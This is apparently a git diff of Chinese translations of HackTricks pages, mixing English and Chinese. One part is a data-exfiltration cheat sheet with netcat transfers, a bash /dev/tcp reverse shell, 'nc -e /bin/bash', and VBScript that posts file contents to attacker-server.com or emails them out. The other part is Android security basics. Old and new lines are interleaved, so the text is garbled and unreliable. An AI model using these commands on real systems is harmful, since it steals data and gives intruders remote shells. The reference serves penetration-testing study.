- 隐写术:将数据隐藏在其他文件或媒体中,以避免被发现。
DNS tunneling involves encapsulating data within DNS queries and responses. Attackers can use this technique to bypass firewalls and exfiltrate data by sending DNS queries to a controlled server that extracts the hidden information.
## 3. 隧道和代理
## 4. Cloud Storage
隧道和代理是将数据通过其他网络通道传输的方法,以绕过网络防御机制。以下是一些常用的隧道和代理技术:
Cloud storage services, such as Dropbox or Google Drive, can be used for exfiltration. Attackers can upload sensitive data to these platforms and then download it from another location. This method allows for easy access to the stolen information from anywhere with an internet connection.
- VPN隧道使用虚拟专用网络VPN建立安全的加密通道将数据从受攻击的系统传输到攻击者的系统。
- SOCKS代理使用SOCKS代理服务器将数据从受攻击的系统传输到攻击者的系统。
- HTTP代理使用HTTP代理服务器将数据通过HTTP协议传输到攻击者的系统。
## 5. Covert Channels
## 4. 邮件和消息传递
Covert channels are hidden communication channels that can be used for exfiltration. These channels can be created using various techniques, such as manipulating network protocols, exploiting timing side channels, or using unused fields in network packets.
邮件和消息传递是通过电子邮件或即时消息服务传输数据的方法。以下是一些常用的邮件和消息传递技术:
It is important for organizations to implement strong security measures to prevent exfiltration. This includes monitoring network traffic, restricting access to sensitive data, and implementing data loss prevention (DLP) solutions.
- 通过SMTP协议发送电子邮件将数据从受攻击的系统发送到攻击者的系统。
- 使用即时消息服务如XMPP、IRC等将数据从受攻击的系统传输到攻击者的系统。
By understanding the various exfiltration techniques, organizations can better protect their systems and data from unauthorized access and leakage.
## 5. 数据压缩和分割
数据压缩和分割是将数据压缩或分割成多个部分,以便更容易传输和隐藏。以下是一些常用的数据压缩和分割方法:
- 使用压缩算法如ZIP、RAR等将数据压缩成较小的文件。
- 将数据分割成多个部分,并使用文件分割工具将这些部分分别传输到攻击者的系统。
以上是一些常见的数据外泄技术和资源,渗透测试人员可以根据具体情况选择适合的方法来实现数据外泄。
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -524,113 +516,63 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
```
## NC
NCNetcat是一种功能强大的网络工具可用于在网络上进行数据传输和连接。它可以作为客户端或服务器使用,并支持多种协议和功能。以下是一些常见的使用场景和命令示例
NCNetcat是一种功能强大的网络工具可用于在网络上进行数据传输和端口扫描。它可以作为客户端或服务器使用,并支持多种协议和功能。以下是一些常见的使用场景和方法
### 1. 端口扫描
### 数据传输
使用NC进行端口扫描是一种快速检测目标主机上开放端口的方法。以下是一个示例命令
使用NC可以在网络上传输数据。以下是一些常见的方法
```
nc -zv <目标IP> <起始端口>-<结束端口>
```
- 使用TCP协议传输数据`nc <目标IP> <目标端口> < 文件名`
- 使用UDP协议传输数据`nc -u <目标IP> <目标端口> < 文件名`
- 使用反向连接传输数据:`nc -l -p <本地端口> > 文件名`
### 2. 反向Shell
### 端口扫描
使用NC可以建立反向Shell连接允许攻击者通过目标主机与受害者主机进行交互。以下是一个示例命令
NC还可以用于进行端口扫描以检测目标主机上开放的端口。以下是一些常见的方法
```
攻击者主机nc -lvp <监听端口>
受害者主机nc <攻击者IP> <监听端口> -e /bin/bash
```
- 扫描单个端口:`nc -z <目标IP> <目标端口>`
- 扫描一系列端口:`nc -z <目标IP> <起始端口>-<结束端口>`
- 扫描常见端口:`nc -z <目标IP> 1-1024`
### 3. 文件传输
### 其他功能
NC还可以用于在网络上传输文件。以下是一个示例命令
除了数据传输和端口扫描NC还具有其他一些功能
```
发送文件nc -w 3 <目标IP> <目标端口> < 文件路径
接收文件nc -lvp <监听端口> > 文件路径
```
- 创建一个简单的聊天服务器:`nc -l -p <本地端口>`
- 远程执行命令:`nc <目标IP> <目标端口> -e /bin/bash`
- 文件传输:`nc -l -p <本地端口> > 文件名` 和 `nc <目标IP> <目标端口> < 文件名`
### 4. 网络嗅探
NC可以用于嗅探网络流量以便分析和捕获数据包。以下是一个示例命令
```
nc -lvp <监听端口> | tee 文件路径
```
### 5. 网络代理
使用NC可以创建一个简单的网络代理将流量从一个端口转发到另一个端口。以下是一个示例命令
```
nc -lvp <监听端口> -c 'nc <目标IP> <目标端口>'
```
这些只是NC的一些常见用法它还有许多其他功能和选项。熟练掌握NC可以帮助您在渗透测试和网络安全评估中更好地利用和保护网络。
NC是一种非常灵活和强大的工具可以在渗透测试和网络安全评估中发挥重要作用。熟练掌握NC的使用方法可以帮助黑客更好地执行各种任务。
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
```bash
cat /path/to/file > /dev/tcp/attacker_ip/attacker_port
cat /path/to/file > /dev/tcp/<attacker_ip>/<attacker_port>
```
This command allows you to download a file from the victim machine to your machine. Replace `/path/to/file` with the actual path of the file on the victim machine. Replace `attacker_ip` with your IP address and `attacker_port` with the port number you want to use for the connection.
This method allows the attacker to download a file from the victim's machine by redirecting the file's contents to the attacker's IP address and port number using the `/dev/tcp` device file.
### Upload file to victim
```bash
cat /path/to/file | nc -l -p attacker_port
```
This command allows you to upload a file from your machine to the victim machine. Replace `/path/to/file` with the actual path of the file on your machine. Replace `attacker_port` with the port number you want to use for the connection.
### Execute command on victim
```bash
echo "command" > /dev/tcp/attacker_ip/attacker_port
```
This command allows you to execute a command on the victim machine. Replace `command` with the actual command you want to execute. Replace `attacker_ip` with your IP address and `attacker_port` with the port number you want to use for the connection.
### Reverse shell
```bash
bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1
```
This command establishes a reverse shell connection with the victim machine. Replace `attacker_ip` with your IP address and `attacker_port` with the port number you want to use for the connection.
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### 将文件上传到受害者计算机
To exfiltrate files from a victim's computer, you can use various methods depending on the access and privileges you have. Here are some common techniques:
To exfiltrate data from a victim's computer, one common method is to upload a file to the target system. This allows the attacker to transfer sensitive information from the victim's machine to their own.
#### 1. Web-based file upload vulnerabilities
There are several ways to accomplish this:
If the victim's computer has a web application that allows file uploads, you can exploit any vulnerabilities in the upload functionality to upload your desired files. This could include bypassing file type restrictions, exploiting insecure file permissions, or leveraging other weaknesses in the upload process.
1. **Web-based file upload**: Exploiting vulnerabilities in web applications that allow file uploads can be an effective method. Attackers can upload malicious files that contain code to exfiltrate data.
#### 2. Remote file inclusion (RFI)
2. **Email attachments**: Sending an email with an attachment that contains the sensitive data is another option. The victim unknowingly opens the attachment, allowing the attacker to gain access to the data.
If the victim's computer is vulnerable to remote file inclusion, you can upload a file to a remote server and then include it in a vulnerable script on the victim's computer. This allows you to execute arbitrary code and exfiltrate files to the remote server.
3. **Remote file transfer**: Using tools like FTP (File Transfer Protocol) or SCP (Secure Copy Protocol), attackers can transfer files from the victim's computer to their own. This method requires prior access to the victim's system.
#### 3. Exploiting misconfigured cloud storage
4. **Cloud storage**: Attackers can leverage cloud storage platforms to upload files from the victim's computer. This can be done by compromising the victim's cloud account or by exploiting vulnerabilities in the cloud service itself.
If the victim's computer is connected to cloud storage services like AWS S3, Google Cloud Storage, or Dropbox, you can search for misconfigured permissions that allow public access to the storage buckets. Once you find a misconfigured bucket, you can upload your files to it and retrieve them later.
#### 4. Email-based exfiltration
If you have access to the victim's email account, you can simply attach the files you want to exfiltrate and send them to your own email address. This method is effective if the victim's email account is not properly secured.
#### 5. File transfer protocols
If you have remote access to the victim's computer, you can use file transfer protocols like FTP, SCP, or SMB to transfer files from the victim's computer to your own machine. This method requires authentication credentials or exploiting vulnerabilities in the file transfer service.
Remember, exfiltrating files from a victim's computer without proper authorization is illegal and unethical. Always ensure you have the necessary permissions and legal authorization before attempting any file exfiltration techniques.
It is important for security professionals to be aware of these methods in order to protect against data exfiltration. Implementing strong security measures, such as regular vulnerability assessments and secure file upload configurations, can help mitigate the risk of file uploads being used for malicious purposes.
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
@ -752,12 +694,101 @@ def tftp_server():
continue
else:
# 发送错误消息
# 不支持的操作码
error_packet = struct.pack('!HH', 5, 4) + b'Illegal TFTP operation'
server_socket.sendto(error_packet, client_address)
server_socket.close()
if __name__ == '__main__':
tftp_server()
```
**TFTP服务器是一种用于文件传输的简单协议。它使用UDP协议进行通信。该Python代码实现了一个TFTP服务器可以处理客户端的读取和写入请求。**
```python
import socket
import struct
def tftp_server():
# 创建UDP套接字
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('0.0.0.0', 69))
while True:
# 接收客户端请求
data, client_address = server_socket.recvfrom(516)
opcode = struct.unpack('!H', data[:2])[0]
if opcode == 1:
# 处理读请求
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# 读取文件内容
try:
with open(filename, 'rb') as file:
file_data = file.read()
except FileNotFoundError:
error_packet = struct.pack('!HH', 5, 1) + b'文件未找到'
server_socket.sendto(error_packet, client_address)
continue
# 发送文件内容
block_number = 1
start_index = 0
while start_index < len(file_data):
end_index = start_index + 512
data_packet = struct.pack('!HH', 3, block_number) + file_data[start_index:end_index]
server_socket.sendto(data_packet, client_address)
ack_packet, _ = server_socket.recvfrom(4)
ack_block_number = struct.unpack('!HH', ack_packet[:4])[1]
if ack_block_number == block_number:
block_number += 1
start_index = end_index
else:
break
elif opcode == 2:
# 处理写请求
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
# 接收文件内容
file_data = b''
block_number = 0
while True:
ack_packet = struct.pack('!HH', 4, block_number)
server_socket.sendto(ack_packet, client_address)
data_packet, _ = server_socket.recvfrom(516)
received_block_number = struct.unpack('!HH', data_packet[:4])[1]
if received_block_number == block_number + 1:
file_data += data_packet[4:]
block_number += 1
if len(data_packet) < 516:
break
else:
break
# 写入文件内容
try:
with open(filename, 'wb') as file:
file.write(file_data)
except:
error_packet = struct.pack('!HH', 5, 2) + b'访问违规'
server_socket.sendto(error_packet, client_address)
continue
else:
# 不支持的操作码
error_packet = struct.pack('!HH', 5, 4) + b'非法的TFTP操作'
server_socket.sendto(error_packet, client_address)
server_socket.close()
if __name__ == '__main__':
tftp_server()
```
```bash
@ -776,63 +807,54 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```
## VBScript
VBScriptVisual Basic Scripting Edition是一种基于Visual Basic的脚本语言常用于Windows操作系统上的自动化任务和脚本编写。它可以通过Windows脚本宿主如Windows Script Host来执行。
VBScriptVisual Basic Scripting Edition是一种基于Visual Basic的脚本语言常用于Windows操作系统上的自动化任务和脚本编写。VBScript可以通过多种方式进行数据泄露包括以下几种常见的方法
### VBScript的数据泄露方法
### 1. 文件传输
VBScript可以使用多种方法将数据从目标系统中泄露出来。以下是一些常见的方法
#### 1. 文件读取
使用VBScript可以读取目标系统上的文件内容。可以使用`FileSystemObject`对象的`OpenTextFile`方法来打开文件,并使用`ReadAll`方法读取文件的内容。
使用VBScript可以通过文件传输将敏感数据从目标系统传送到攻击者控制的服务器。这可以通过使用`FileSystemObject`对象来读取和写入文件来实现。攻击者可以编写VBScript脚本来遍历目标系统上的文件并将其中的敏感数据复制到攻击者的服务器上。
```vbscript
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("C:\path\to\file.txt", 1)
strData = objFile.ReadAll
objFile.Close
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "POST", "http://attacker-server.com/receive.php", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=" & strData
```
#### 2. 网络请求
### 2. 网络传输
VBScript可以发送HTTP请求来将数据发送到远程服务器。可以使用`MSXML2.XMLHTTP`对象来发送GET或POST请求并使用`responseText`属性获取响应内容。
VBScript还可以通过网络传输将数据发送到攻击者的服务器。这可以通过使用`MSXML2.XMLHTTP`对象来实现。攻击者可以编写VBScript脚本来将数据发送到指定的URL并在服务器端进行处理
```vbscript
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.open "GET", "http://example.com/data", False
objHTTP.send
strResponse = objHTTP.responseText
objHTTP.Open "POST", "http://attacker-server.com/receive.php", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=secretdata"
```
#### 3. 注册表读取
### 3. 电子邮件传输
VBScript可以读取目标系统的注册表项,以获取敏感数据。可以使用`WScript.Shell`对象的`RegRead`方法来读取注册表项的值
VBScript还可以通过电子邮件将数据发送到攻击者的邮箱。这可以通过使用`CDO.Message`对象来实现。攻击者可以编写VBScript脚本来创建一个邮件对象并将数据作为附件发送到指定的邮箱
```vbscript
Set objShell = CreateObject("WScript.Shell")
strValue = objShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SomeValue")
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Sensitive Data"
objMessage.From = "sender@example.com"
objMessage.To = "attacker@example.com"
objMessage.TextBody = "Please find the attached sensitive data."
objMessage.AddAttachment "C:\path\to\file.txt"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objMessage.Configuration.Fields.Update
objMessage.Send
```
#### 4. 输出到日志文件
VBScript可以将数据输出到日志文件中。可以使用`FileSystemObject`对象的`OpenTextFile`方法来创建或打开日志文件,并使用`WriteLine`方法将数据写入文件。
```vbscript
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("C:\path\to\log.txt", 8, True)
objFile.WriteLine "Data to be logged"
objFile.Close
```
### 防御措施
为了防止VBScript的数据泄露可以采取以下措施
- 限制VBScript的执行权限只允许受信任的脚本运行。
- 定期审查系统中的VBScript脚本确保没有包含敏感信息的代码。
- 使用防火墙和入侵检测系统来监控和阻止异常的网络请求。
- 限制对注册表的访问权限,只允许受信任的脚本读取注册表项。
- 定期检查系统日志文件,以发现异常的数据输出行为。
以上是VBScript中常用的几种数据泄露方法。攻击者可以根据具体情况选择合适的方法来实现数据的传输和泄露。
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -872,7 +894,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
这是一种适用于 Windows 32 位机器的疯狂技术。思路是使用 `debug.exe` 程序。它用于检查二进制文件,就像一个调试器。但它也可以从十六进制重新构建它们。所以我们的想法是,我们拿到二进制文件,比如 `netcat`。然后将其反汇编为十六进制,在受损的机器上将其粘贴到一个文件中,然后使用 `debug.exe` 进行汇编。
`Debug.exe` 只能汇编 64 kb。所以我们需要使用小于该大小的文件。我们可以使用 upx 进一步压缩它。所以让我们这样做:
`Debug.exe` 只能汇编 64 kb 的文件。所以我们需要使用小于该大小的文件。我们可以使用 upx 进一步压缩它。所以让我们这样做:
```
upx -9 nc.exe
```
@ -880,25 +902,27 @@ upx -9 nc.exe
```
wine exe2bat.exe nc.exe nc.txt
```
现在我们只需将文本复制粘贴到我们的Windows shell中。它将自动创建一个名为nc.exe的文件
现在我们只需将文本复制粘贴到我们的Windows shell中。它将自动创建一个名为nc.exe的文件
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**Bug赏金提示****注册**Intigriti一个由黑客创建的高级Bug赏金平台立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff

View file

@ -6,28 +6,19 @@
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网在其崛起的日子里掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
{% embed url="https://hackenproof.com/register" %}
***
## Android安全模型
@ -38,11 +29,11 @@ HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞
### UID分离
**每个应用程序都被分配一个特定的用户ID**。这是在应用程序安装过程中完成的因此应用程序只能与其用户ID拥有的文件或共享文件进行交互。因此只有应用程序本身、操作系统的某些组件和root用户可以访问应用程序的数据。
**每个应用程序都被分配一个特定的用户ID**。这是在应用程序安装过程中完成的,因此应用程序只能与其用户ID拥有的文件或共享文件进行交互。因此只有应用程序本身、操作系统的某些组件和root用户可以访问应用程序的数据。
### UID共享
**两个应用程序可以配置为使用相同的UID**。这可能有助于共享信息,但如果其中一个应用程序受到损害,则两个应用程序的数据将受到损害。因此,这种行为是**不鼓励的**。\
**两个应用程序可以配置为使用相同的UID**。这可能对共享信息有用,但如果其中一个应用程序受到损害,则两个应用程序的数据将受到损害。这就是为什么**不鼓励**这种行为的原因。\
**要共享相同的UID应用程序必须在其清单中定义相同的`android:sharedUserId`值。**
### 沙箱
@ -68,38 +59,39 @@ HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞
## 预安装应用程序
这些应用程序通常位于**`/system/app`**或**`/system/priv-app`**目录中,其中一些应用程序经过了**优化**(您可能找不到`classes.dex`文件)。这些应用程序值得检查,因为有时它们以**太多权限**如root运行
这些应用程序通常位于**`/system/app`**或**`/system/priv-app`**目录中,其中一些应用程序经过了**优化**(您可能找不到`classes.dex`文件)。这些应用程序值得检查,因为有时它们以**太多权限运行**如root权限)。
* 随**AOSP**Android开源项目**ROM**一起提供的应用程序
* 设备**制造商**添加的应用程序
* 由**手机提供商**添加(如果从他们那里购买)
## Rooting
* 由**手机提供商**添加的应用程序(如果从他们那里购买)
为了在物理安卓设备上获得root访问权限通常需要利用1或2个特定于设备和版本的漏洞。一旦漏洞被利用成功通常会将Linux的`su`二进制文件复制到用户的PATH环境变量指定的位置如`/system/xbin`。
## Root权限
一旦su二进制文件被配置好另一个安卓应用程序被用来与su二进制文件进行交互并处理对root访问的请求如Superuser和SuperSU在Google Play商店中可用
为了在物理Android设备上获得root访问权限通常需要利用1或2个**漏洞**,这些漏洞通常是针对**设备**和**版本**的**特定**漏洞。\
一旦漏洞成功通常会将Linux的`su`二进制文件复制到用户的PATH环境变量指定的位置如`/system/xbin`。
配置su二进制文件后使用另一个Android应用程序与`su`二进制文件进行接口交互并处理对root访问的请求如**Superuser**和**SuperSU**可在Google Play商店中获得
{% hint style="danger" %}
请注意root过程非常危险可能会严重损坏设备。
请注意root权限过程非常危险,可能会严重损坏设备
{% endhint %}
### ROMs
可以通过安装自定义固件来替换操作系统。这样可以扩展旧设备的功能,绕过软件限制或访问最新的安卓代码。OmniROM和LineageOS是最流行的两个固件。
可以通过安装自定义固件来**替换操作系统**。这样可以扩展旧设备的功能,绕过软件限制或者获取最新的Android代码。**OmniROM**和**LineageOS**是两个最受欢迎的固件。
请注意并不总是需要root设备才能安装自定义固件。一些制造商允许以一种有文档记录且安全的方式解锁他们的引导加载程序。
需要注意的是并不总是需要对设备进行root操作才能安装自定义固件。**一些制造商允许**以一种经过充分记录和安全的方式解锁他们的引导程序。
### 影响
一旦设备被root任何应用程序都可以请求root访问权限。如果恶意应用程序获得了这个权限它将能够访问几乎所有内容并且可以损坏手机
一旦设备被root任何应用都可以请求以root权限运行。如果一个恶意应用程序获取了root权限它将能够访问几乎所有内容并且可以对手机造成损害
## 安卓应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Android应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
这个介绍来自于[https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)
### 基础回顾 <a href="#fundamentals-review" id="fundamentals-review"></a>
### 基础知识回顾 <a href="#fundamentals-review" id="fundamentals-review"></a>
* 安卓应用程序以_APK文件格式_存在。APK基本上是一个ZIP文件。(您可以将文件扩展名更改为.zip并使用解压缩工具打开并查看其内容。
* Android应用程序以_APK文件格式_存在。**APK基本上是一个ZIP文件**。(您可以将文件扩展名更改为.zip并使用解压缩工具打开并查看其内容。
* APK内容不详尽
* **AndroidManifest.xml**
* resources.arsc/strings.xml
@ -108,55 +100,47 @@ HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞
* META-INF/
* 证书存放在这里!
* **classes.dex**
* 应用程序的Dalvik字节码以DEX文件格式存在。这是应用程序默认运行的Java或Kotlin代码的编译版本
* 应用程序的Dalvik字节码以DEX文件格式编译。**这是应用程序将默认运行的Java或Kotlin代码**
* lib/
* 应用程序的本地库默认存放在这里在lib/目录下有特定于CPU的目录。
* `armeabi`:仅适用于所有基于ARM的处理器的编译代码
* `armeabi-v7a`:仅适用于所有基于ARMv7及以上的处理器的编译代码
* `x86`适用于X86的编译代码
* `mips`:仅适用于MIPS处理器的编译代码
* `armeabi`:仅针对所有基于ARM的处理器的编译代码
* `armeabi-v7a`:仅针对所有基于ARMv7及以上的处理器的编译代码
* `x86`针对X86的编译代码
* `mips`:仅针对MIPS处理器的编译代码
* assets/
* 应用程序可能需要的其他文件。
* 可以在此处包含其他本地库或DEX文件。这可能发生在恶意软件作者想要尝试“隐藏”其他代码本地或Dalvik而不将其包含在默认位置时。
* 可能会在此处包含其他本地库或DEX文件。这种情况通常发生在恶意软件作者想要尝试“隐藏”附加代码本地或Dalvik而不将其包含在默认位置时。
* res/
* 包含未编译到resources.arsc中的资源的目录
### **Dalvik和Smali**
大多数安卓应用程序是用Java编写的。Kotlin也受支持并且与Java可互操作。为了简便起见在本次研讨会的其余部分中当我提到“Java”时您可以认为我是指“Java或Kotlin”。与桌面应用程序不同安卓中的Java代码不是在Java虚拟机JVM中运行而是编译为_Dalvik可执行DEX字节码_格式。在早期的安卓版本中字节码由Dalvik虚拟机翻译。在较新的安卓版本中使用安卓运行时ART。\
如果开发人员使用Java编写代码并将其编译为DEX字节码那么在进行逆向工程时我们将按相反的方向进行工作。
大多数Android应用程序是用Java编写的。Kotlin也受支持并且与Java可互操作。为了方便起见在本次研讨会的其余部分中当我提到“Java”时您可以认为我是指“Java或Kotlin”。与桌面应用程序不同Android中的**Java代码不是在Java虚拟机JVM中运行**,而是编译为\_Dalvik可执行DEX字节码格式。在较早版本的Android中字节码由Dalvik虚拟机翻译。在较新版本的Android中使用Android运行时ART。\
如果开发人员使用Java编写代码并将其编译为DEX字节码那么在进行反向工程时我们将按相反的方向进行工作。\
\\
![开发人员流程的流程图。Java到DEX字节码](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![开发人员流程图。Java到DEX字节码](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![逆向工程师流程的流程图。DEX字节码到SMALI到反编译的Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
![逆向工程师流程图。DEX字节码到SMALI到反编译的Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
**Smali是Dalvik字节码的可读版本**。从技术上讲Smali和baksmali是工具的名称汇编器和反汇编器但在安卓我们经常使用术语“Smali”来指代指令。如果您曾经对编译的C/C++代码进行过逆向工程或计算机体系结构研究,那么SMALI就像汇编语言介于高级源代码和字节码之间。
**Smali是Dalvik字节码的可读版本**。从技术上讲Smali和baksmali是工具的名称汇编器和反汇编器但在Android我们经常使用术语“Smali”来指代指令。如果您曾经对编译的C/C++代码进行过反向工程或计算机体系结构研究,那么**SMALI就像汇编语言介于高级源代码和字节码之间**
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网在其崛起之时掌握web3安全。
***
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。
## 意图Intents
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
意图Intents是Android应用程序在其组件之间或与其他应用程序之间进行通信的主要方式。这些消息对象也可以在应用程序或组件之间传递数据类似于HTTP通信中使用GET/POST请求的方式。
{% embed url="https://hackenproof.com/register" %}
## 意图
意图是安卓应用程序在其组件之间或与其他应用程序之间进行通信的主要方式。这些消息对象还可以在应用程序或组件之间传递数据类似于HTTP通信中使用GET/POST请求的方式。
因此,意图基本上是在组件之间传递的消息。意图可以被指定给特定的组件或应用程序,也可以在没有特定接收者的情况下发送。\
因此,意图基本上是**在组件之间传递的消息**。意图**可以指定**特定的组件或应用程序,**也可以发送给没有特定接收者的组件**。\
简单来说,意图可以用于以下目的:
* 启动一个Activity通常打开应用程序的用户界面
